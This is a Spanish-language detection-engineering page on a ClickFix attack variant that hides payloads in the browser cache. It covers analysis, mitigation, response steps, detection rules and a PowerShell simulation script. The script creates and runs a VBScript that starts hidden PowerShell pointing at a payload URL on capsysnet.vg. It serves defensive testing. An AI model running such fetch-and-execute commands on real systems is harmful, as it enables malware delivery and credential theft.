El Ataque ClickFix Entrega Cargas Útiles a través de la Caché del Navegador
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una nueva variación del ataque ClickFix utiliza sitios web comprometidos para pre-cargar scripts maliciosos en la caché de un navegador web, disfrazados como archivos legítimos como PNGs. Las víctimas son manipuladas para ejecutar comandos a través del cuadro de diálogo Ejecutar de Windows, lo que luego activa la ejecución de la carga útil en caché para eludir los límites de caracteres y controles de seguridad. Esta técnica eventualmente conduce al robo de credenciales mediante la inyección de memoria en procesos legítimos.
Investigación
Microsoft Threat Intelligence y otros investigadores identificaron una cadena de infección de múltiples etapas que involucra VBScript, PowerShell y ensamblados .NET. La cadena de ataque utiliza el contrabando de caché del navegador para ocultar cargas útiles y emplea WMI para recolectar información del host. La investigación destacó el uso de herramientas del sistema legítimas como cmd.exe, wscript.exe y timeout.exe para facilitar el ataque.
Mitigación
Las organizaciones deben implementar protección en la nube, web y de red junto con el control de aplicaciones y el registro bloqueado de scripts de PowerShell. Se debe educar a los usuarios para que nunca peguen comandos en Ejecutar de Windows, Terminal o PowerShell cuando se les solicite por errores del sitio web o CAPTCHAs. También se recomienda monitorear la actividad sospechosa del navegador y los procesos secundarios de WScript/PowerShell.
Respuesta
Al detectar, busca actividades sospechosas en la clave de registro RunMRU y monitoriza tareas programadas inusuales. Investiga procesos secundarios generados por WScript o PowerShell y verifica ensamblados .NET no autorizados cargados en memoria. Aísla los sistemas afectados y revisa los registros de red para conexiones salientes a dominios maliciosos conocidos.
Flujo de Ataque
Todavía estamos actualizando esta parte.
Detecciones
Ejecución Posible mediante Uso de Nombre Corto de Script (vía cmdline)
Posible Operación Manual o por Scripting Realizada en Carpetas Inusuales (vía cmdline)
LOLBAS WScript / CScript (vía process_creation)
Detección de Ejecución de PowerShell y VBScript mediante Contrabando de Caché del Navegador [Windows Powershell]
Ejecución de Simulación
-
Narrativa del Ataque y Comandos: El adversario aprovecha una táctica de ingeniería social donde se le solicita al usuario «arreglar» un error del navegador. Este proceso contrabandea un VBScript malicioso en un directorio temporal (simulando la caché del navegador). Luego, el adversario ejecuta este VBScript usando
wscript.exe. El VBScript está diseñado para invocar PowerShell con el-WindowStyle Hiddenbandera para evitar la detección del usuario e intenta conectarse al dominiocapsysnet.vgpara obtener una segunda carga útil. Esta secuencia está diseñada para activar la lógica de detección específica basada en cadenas en la regla. -
Script de Prueba de Regresión:
# Script de Simulación: Imitación de Contrabando de Carga Útil ClickFix $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" # Crear un VBScript que simula el comportamiento malicioso # Intenta invocar PowerShell con la cadena específica que busca la regla # y hace referencia al dominio sospechoso. $vbsContent = @" Set objShell = CreateObject("WScript.Shell") ' Simular invocación de un script llamado v.ps1 con estilo de ventana oculta ' y conexión al dominio sospechoso objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True "@ Set-Content -Path $vbsPath -Value $vbsContent Write-Host "[+] VBScript malicioso creado en: $vbsPath" Write-Host "[+] Ejecutando VBScript a través de wscript.exe para activar la detección..." # Ejecutar el VBScript Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`"" Write-Host "[+] Comando de simulación enviado. Verifique alertas en SIEM." -
Comandos de Limpieza:
# Limpieza: Eliminar los archivos maliciosos simulados $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" if (Test-Path $vbsPath) { Remove-Item -Path $vbsPath -Force Write-Host "[+] Limpieza completada: $vbsPath eliminado." } else { Write-Host "[!] La limpieza falló: Archivo no encontrado." }